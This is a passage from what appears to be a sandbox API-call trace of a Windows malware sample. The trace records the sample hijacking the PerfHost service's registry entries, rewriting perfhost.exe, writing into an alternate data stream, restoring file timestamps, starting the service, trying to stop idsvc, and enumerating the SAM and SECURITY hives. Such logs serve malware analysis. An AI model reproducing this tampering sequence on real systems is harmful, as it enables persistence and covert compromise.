lpData="rpcss") returned 0x0 [0236.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.582] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="RPCSS", cbData=0x6 | out: lpData="RPCSS") returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.583] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.584] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.584] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.584] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\SysWow64\\perfhost.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x22 [0236.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0236.584] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\SysWow64\\perfhost.exe", lpDst=0x21f1ad8, nSize=0x22 | out: lpDst="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x21 [0236.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0236.584] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWow64\\perfhost.exe", cbData=0x21 | out: lpData="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x0 [0236.584] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWow64\\perfhost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\SysWow64\\perfhost.exe" [0236.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0236.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0236.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0236.584] LocalFree (hMem=0x7f2c48) returned 0x0 [0236.584] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWow64\\perfhost.exe", cbData=0x21 | out: lpData="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x0 [0236.584] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x2) returned 0x803990 [0236.611] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0236.634] CloseServiceHandle (hSCObject=0x803990) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.634] RegCloseKey (hKey=0x150) returned 0x0 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0236.634] RegCloseKey (hKey=0x154) returned 0x0 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0236.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0236.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081cae6, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x3081cae6, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x6f46b590, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5200)) returned 1 [0236.635] CreateFileW (lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.635] GetLastError () returned 0x5 [0236.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0236.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0236.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0236.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0236.638] NtClose (Handle=0x154) returned 0x0 [0236.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0236.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0236.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0236.810] NtClose (Handle=0x154) returned 0x0 [0236.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0236.810] NtClose (Handle=0x150) returned 0x0 [0236.811] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0237.244] NtClose (Handle=0x148) returned 0x0 [0237.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0237.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0237.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0237.244] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081cae6, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x3081cae6, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x6f46b590, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5200)) returned 1 [0237.244] CreateFileW (lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0237.245] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0237.245] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x5200 [0237.245] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0237.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5200) returned 0x21f4ea8 [0237.245] ReadFile (in: hFile=0x148, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x5200, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x5200, lpOverlapped=0x0) returned 1 [0237.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5200) returned 0x21fa0b0 [0237.253] SetEndOfFile (hFile=0x148) returned 1 [0237.253] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0x6f46b590, dwHighDateTime=0x1ca0420)) returned 1 [0237.253] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0237.253] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0237.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0237.253] NtClose (Handle=0x148) returned 0x0 [0237.253] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWow64\\perfhost.exe:0" (normalized: "c:\\windows\\syswow64\\perfhost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0237.253] GetLastError () returned 0x2 [0237.253] CreateFileW (lpFileName="C:\\Windows\\SysWow64\\perfhost.exe:0" (normalized: "c:\\windows\\syswow64\\perfhost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0237.254] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0237.254] WriteFile (in: hFile=0x148, lpBuffer=0x21fa0b0*, nNumberOfBytesToWrite=0x5200, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21fa0b0*, lpNumberOfBytesWritten=0x36f53c*=0x5200, lpOverlapped=0x0) returned 1 [0237.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0237.255] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0237.255] NtClose (Handle=0x148) returned 0x0 [0237.255] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x10) returned 0x8038a0 [0237.255] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0238.206] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0238.207] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0238.207] GetLastError () returned 0x6 [0238.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21fa0b0) returned 1 [0238.207] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0238.208] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0238.208] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0238.208] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x803990 [0238.209] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0238.209] GetLastError () returned 0x426 [0238.209] CloseServiceHandle (hSCObject=0x803990) returned 1 [0238.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0238.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0238.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0238.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0238.209] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0238.209] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.210] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.210] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.210] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0238.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.211] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.211] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.211] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0238.211] RegCloseKey (hKey=0x80000002) returned 0x0 [0238.211] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0238.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.212] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, 